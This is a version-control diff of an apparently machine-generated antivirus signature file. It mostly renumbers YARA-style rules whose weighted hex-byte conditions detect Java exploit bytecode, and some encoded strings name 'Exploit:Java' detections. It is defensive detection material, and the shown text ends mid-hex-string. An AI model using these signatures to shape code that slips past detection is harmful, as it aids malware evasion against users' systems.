_InfrastructureShared_25642{ +rule _InfrastructureShared_26956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 02 00 21 " @@ -336115,7 +352954,7 @@ rule _InfrastructureShared_25642{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*26724) >=2 } -rule _InfrastructureShared_25643{ +rule _InfrastructureShared_26957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336125,7 +352964,7 @@ rule _InfrastructureShared_25643{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25644{ +rule _InfrastructureShared_26958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336135,7 +352974,7 @@ rule _InfrastructureShared_25644{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25645{ +rule _InfrastructureShared_26959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336145,7 +352984,7 @@ rule _InfrastructureShared_25645{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25646{ +rule _InfrastructureShared_26960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336155,7 +352994,7 @@ rule _InfrastructureShared_25646{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25647{ +rule _InfrastructureShared_26961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336165,7 +353004,7 @@ rule _InfrastructureShared_25647{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25648{ +rule _InfrastructureShared_26962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336175,7 +353014,7 @@ rule _InfrastructureShared_25648{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25649{ +rule _InfrastructureShared_26963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336185,7 +353024,7 @@ rule _InfrastructureShared_25649{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25650{ +rule _InfrastructureShared_26964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336195,7 +353034,7 @@ rule _InfrastructureShared_25650{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25651{ +rule _InfrastructureShared_26965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336205,7 +353044,7 @@ rule _InfrastructureShared_25651{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25652{ +rule _InfrastructureShared_26966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336215,7 +353054,7 @@ rule _InfrastructureShared_25652{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25653{ +rule _InfrastructureShared_26967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 01 00 21 " @@ -336225,7 +353064,7 @@ rule _InfrastructureShared_25653{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_25654{ +rule _InfrastructureShared_26968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336235,7 +353074,7 @@ rule _InfrastructureShared_25654{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25655{ +rule _InfrastructureShared_26969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336245,7 +353084,7 @@ rule _InfrastructureShared_25655{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25656{ +rule _InfrastructureShared_26970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336255,7 +353094,7 @@ rule _InfrastructureShared_25656{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25657{ +rule _InfrastructureShared_26971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336265,7 +353104,7 @@ rule _InfrastructureShared_25657{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25658{ +rule _InfrastructureShared_26972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336275,7 +353114,7 @@ rule _InfrastructureShared_25658{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25659{ +rule _InfrastructureShared_26973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336285,7 +353124,7 @@ rule _InfrastructureShared_25659{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25660{ +rule _InfrastructureShared_26974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 03 00 21 " @@ -336295,7 +353134,7 @@ rule _InfrastructureShared_25660{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_25661{ +rule _InfrastructureShared_26975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 04 00 21 " @@ -336306,7 +353145,7 @@ rule _InfrastructureShared_25661{ ((#a_46_0 & 1)*16675+(#a_45_3 & 1)*8448) >=3 } -rule _InfrastructureShared_25662{ +rule _InfrastructureShared_26976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336316,7 +353155,7 @@ rule _InfrastructureShared_25662{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25663{ +rule _InfrastructureShared_26977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336326,7 +353165,7 @@ rule _InfrastructureShared_25663{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25664{ +rule _InfrastructureShared_26978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336336,7 +353175,7 @@ rule _InfrastructureShared_25664{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25665{ +rule _InfrastructureShared_26979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336346,7 +353185,7 @@ rule _InfrastructureShared_25665{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25666{ +rule _InfrastructureShared_26980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336356,7 +353195,7 @@ rule _InfrastructureShared_25666{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25667{ +rule _InfrastructureShared_26981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336366,7 +353205,7 @@ rule _InfrastructureShared_25667{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25668{ +rule _InfrastructureShared_26982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 02 00 21 " @@ -336376,7 +353215,7 @@ rule _InfrastructureShared_25668{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_25669{ +rule _InfrastructureShared_26983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336386,7 +353225,7 @@ rule _InfrastructureShared_25669{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25670{ +rule _InfrastructureShared_26984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336396,7 +353235,7 @@ rule _InfrastructureShared_25670{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25671{ +rule _InfrastructureShared_26985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336406,7 +353245,7 @@ rule _InfrastructureShared_25671{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25672{ +rule _InfrastructureShared_26986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336416,7 +353255,7 @@ rule _InfrastructureShared_25672{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25673{ +rule _InfrastructureShared_26987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -336429,7 +353268,7 @@ rule _InfrastructureShared_25673{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1+(#a_45_2 & 1)*8448+(#a_31_3 & 1)*12596) >=13 } -rule _InfrastructureShared_25674{ +rule _InfrastructureShared_26988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336439,7 +353278,7 @@ rule _InfrastructureShared_25674{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25675{ +rule _InfrastructureShared_26989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336449,7 +353288,7 @@ rule _InfrastructureShared_25675{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25676{ +rule _InfrastructureShared_26990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336459,7 +353298,7 @@ rule _InfrastructureShared_25676{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25677{ +rule _InfrastructureShared_26991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336469,7 +353308,7 @@ rule _InfrastructureShared_25677{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25678{ +rule _InfrastructureShared_26992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336479,7 +353318,7 @@ rule _InfrastructureShared_25678{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25679{ +rule _InfrastructureShared_26993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336489,7 +353328,7 @@ rule _InfrastructureShared_25679{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25680{ +rule _InfrastructureShared_26994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336499,7 +353338,7 @@ rule _InfrastructureShared_25680{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25681{ +rule _InfrastructureShared_26995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336509,7 +353348,7 @@ rule _InfrastructureShared_25681{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25682{ +rule _InfrastructureShared_26996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336519,7 +353358,7 @@ rule _InfrastructureShared_25682{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25683{ +rule _InfrastructureShared_26997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336529,7 +353368,7 @@ rule _InfrastructureShared_25683{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25684{ +rule _InfrastructureShared_26998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336539,7 +353378,7 @@ rule _InfrastructureShared_25684{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25685{ +rule _InfrastructureShared_26999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336549,7 +353388,7 @@ rule _InfrastructureShared_25685{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25686{ +rule _InfrastructureShared_27000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 02 00 21 " @@ -336559,7 +353398,7 @@ rule _InfrastructureShared_25686{ ((#a_41_0 & 1)*20515) >=2 } -rule _InfrastructureShared_25687{ +rule _InfrastructureShared_27001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 02 00 21 " @@ -336569,7 +353408,7 @@ rule _InfrastructureShared_25687{ ((#a_41_0 & 1)*20515) >=2 } -rule _InfrastructureShared_25688{ +rule _InfrastructureShared_27002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336579,7 +353418,7 @@ rule _InfrastructureShared_25688{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25689{ +rule _InfrastructureShared_27003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336589,7 +353428,7 @@ rule _InfrastructureShared_25689{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25690{ +rule _InfrastructureShared_27004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336599,7 +353438,7 @@ rule _InfrastructureShared_25690{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25691{ +rule _InfrastructureShared_27005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336609,7 +353448,7 @@ rule _InfrastructureShared_25691{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25692{ +rule _InfrastructureShared_27006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336619,7 +353458,7 @@ rule _InfrastructureShared_25692{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25693{ +rule _InfrastructureShared_27007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336629,7 +353468,7 @@ rule _InfrastructureShared_25693{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25694{ +rule _InfrastructureShared_27008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336639,7 +353478,7 @@ rule _InfrastructureShared_25694{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25695{ +rule _InfrastructureShared_27009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336649,7 +353488,7 @@ rule _InfrastructureShared_25695{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25696{ +rule _InfrastructureShared_27010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336659,7 +353498,7 @@ rule _InfrastructureShared_25696{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25697{ +rule _InfrastructureShared_27011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336669,7 +353508,7 @@ rule _InfrastructureShared_25697{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25698{ +rule _InfrastructureShared_27012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336679,7 +353518,7 @@ rule _InfrastructureShared_25698{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25699{ +rule _InfrastructureShared_27013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336689,7 +353528,7 @@ rule _InfrastructureShared_25699{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25700{ +rule _InfrastructureShared_27014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 03 00 21 " @@ -336700,7 +353539,7 @@ rule _InfrastructureShared_25700{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26977) >=3 } -rule _InfrastructureShared_25701{ +rule _InfrastructureShared_27015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336710,7 +353549,7 @@ rule _InfrastructureShared_25701{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25702{ +rule _InfrastructureShared_27016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336720,7 +353559,7 @@ rule _InfrastructureShared_25702{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25703{ +rule _InfrastructureShared_27017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336730,7 +353569,7 @@ rule _InfrastructureShared_25703{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25704{ +rule _InfrastructureShared_27018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336740,7 +353579,7 @@ rule _InfrastructureShared_25704{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25705{ +rule _InfrastructureShared_27019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336750,7 +353589,7 @@ rule _InfrastructureShared_25705{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_25706{ +rule _InfrastructureShared_27020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,04 00 04 00 04 00 21 " @@ -336763,7 +353602,7 @@ rule _InfrastructureShared_25706{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*24912+(#a_32_2 & 1)*16691+(#a_72_3 & 1)*29812) >=4 } -rule _InfrastructureShared_25707{ +rule _InfrastructureShared_27021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336773,7 +353612,7 @@ rule _InfrastructureShared_25707{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25708{ +rule _InfrastructureShared_27022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336783,7 +353622,7 @@ rule _InfrastructureShared_25708{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25709{ +rule _InfrastructureShared_27023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336793,7 +353632,7 @@ rule _InfrastructureShared_25709{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25710{ +rule _InfrastructureShared_27024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336803,7 +353642,7 @@ rule _InfrastructureShared_25710{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25711{ +rule _InfrastructureShared_27025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336813,7 +353652,7 @@ rule _InfrastructureShared_25711{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25712{ +rule _InfrastructureShared_27026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336823,7 +353662,7 @@ rule _InfrastructureShared_25712{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25713{ +rule _InfrastructureShared_27027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336833,7 +353672,7 @@ rule _InfrastructureShared_25713{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25714{ +rule _InfrastructureShared_27028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336843,7 +353682,7 @@ rule _InfrastructureShared_25714{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25715{ +rule _InfrastructureShared_27029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336853,7 +353692,7 @@ rule _InfrastructureShared_25715{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25716{ +rule _InfrastructureShared_27030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336863,7 +353702,7 @@ rule _InfrastructureShared_25716{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25717{ +rule _InfrastructureShared_27031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,04 00 04 00 04 00 21 " @@ -336876,7 +353715,7 @@ rule _InfrastructureShared_25717{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28009+(#a_35_2 & 1)*13875+(#a_50_3 & 1)*24950) >=4 } -rule _InfrastructureShared_25718{ +rule _InfrastructureShared_27032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336886,7 +353725,7 @@ rule _InfrastructureShared_25718{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25719{ +rule _InfrastructureShared_27033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336896,7 +353735,7 @@ rule _InfrastructureShared_25719{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25720{ +rule _InfrastructureShared_27034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336906,7 +353745,7 @@ rule _InfrastructureShared_25720{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25721{ +rule _InfrastructureShared_27035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336916,7 +353755,7 @@ rule _InfrastructureShared_25721{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25722{ +rule _InfrastructureShared_27036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336926,7 +353765,7 @@ rule _InfrastructureShared_25722{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25723{ +rule _InfrastructureShared_27037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336936,7 +353775,7 @@ rule _InfrastructureShared_25723{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_25724{ +rule _InfrastructureShared_27038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 03 00 21 " @@ -336947,7 +353786,7 @@ rule _InfrastructureShared_25724{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*29793) >=3 } -rule _InfrastructureShared_25725{ +rule _InfrastructureShared_27039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 02 00 21 " @@ -336958,7 +353797,7 @@ rule _InfrastructureShared_25725{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28560) >=1 } -rule _InfrastructureShared_25726{ +rule _InfrastructureShared_27040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 02 00 21 " @@ -336968,7 +353807,7 @@ rule _InfrastructureShared_25726{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_25727{ +rule _InfrastructureShared_27041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -336979,7 +353818,7 @@ rule _InfrastructureShared_25727{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24938) >=10 } -rule _InfrastructureShared_25728{ +rule _InfrastructureShared_27042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336989,7 +353828,7 @@ rule _InfrastructureShared_25728{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25729{ +rule _InfrastructureShared_27043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336999,7 +353838,7 @@ rule _InfrastructureShared_25729{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25730{ +rule _InfrastructureShared_27044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337009,7 +353848,7 @@ rule _InfrastructureShared_25730{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25731{ +rule _InfrastructureShared_27045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337019,7 +353858,7 @@ rule _InfrastructureShared_25731{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25732{ +rule _InfrastructureShared_27046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 02 00 21 " @@ -337030,7 +353869,7 @@ rule _InfrastructureShared_25732{ ((#a_46_0 & 1)*16675+(#a_59_1 & 1)*187) >=2 } -rule _InfrastructureShared_25733{ +rule _InfrastructureShared_27047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337040,7 +353879,7 @@ rule _InfrastructureShared_25733{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25734{ +rule _InfrastructureShared_27048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,04 00 04 00 05 00 21 " @@ -337049,12 +353888,12 @@ rule _InfrastructureShared_25734{ $a_72_1 = {65 41 73 53 74 72 65 61 6d 01 00 05 01 62 6c 61 63 6b 00 00 bf 7a 00 00 01 00 01 00 01 00 21 23 45 78 70 6c 6f 69 74 3a 4a 61 76 61 2f 50 72 65 76 61 6c 65 6e 74 50 61 74 74 65 72 6e 00 01 00 4e 01 35 33 31 39 42 36 31 32 31 39 42 36 33 41 30 34 42 44 33 41 31 32 31 32 31 32 42 36 33 41 31 39 30 33 42 42 35 39 42 42 35 39 42 37 31 39 42 38 42 36 31 } //28531 $a_31_2 = {42 36 42 36 42 36 42 37 35 33 31 39 31 39 31 39 42 36 35 37 41 37 00 00 bf 7a 00 00 01 00 01 00 01 00 21 23 45 78 70 6c 6f 69 74 3a 4a 61 76 61 2f 50 } //12594 $a_61_3 = {65 6e 74 50 61 74 74 65 72 6e 00 01 00 4e 01 43 34 43 34 43 34 31 39 31 30 33 32 30 35 42 44 35 39 30 33 31 33 35 33 35 39 30 34 31 33 35 33 42 36 43 34 43 34 30 31 30 35 42 44 35 39 30 33 43 34 35 33 35 39 30 34 31 33 35 33 42 36 43 34 31 33 43 34 31 33 43 34 43 34 43 34 41 30 00 00 bf 7a 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 4a 61 76 61 2f 49 } //25970 - $a_5a_4 = {01 00 37 01 bd 59 03 12 b8 b8 53 59 04 12 b8 b8 53 59 05 12 b8 b8 53 59 06 12 b8 b8 53 59 07 12 b8 b8 53 59 08 12 b8 b8 53 59 10 12 b8 b8 53 59 10 12 b8 b8 53 59 10 12 b8 b8 53 01 00 21 01 bd 59 03 12 b8 b8 53 59 04 12 b8 b8 53 59 05 12 b8 b8 53 59 06 12 b8 b8 53 b3 12 b8 b8 b3 03 b3 b1 00 00 bf 7a 00 00 06 00 06 00 07 00 21 23 48 53 54 52 3a 4a } //26990 + $a_5a_4 = {01 00 37 01 bd 59 03 12 b8 b8 53 59 04 12 b8 b8 53 59 05 12 b8 b8 53 59 06 12 b8 b8 53 59 07 12 b8 b8 53 59 08 12 b8 b8 53 59 10 12 b8 b8 53 59 10 12 b8 b8 53 59 10 12 b8 b8 53 01 00 21 01 bd 59 03 12 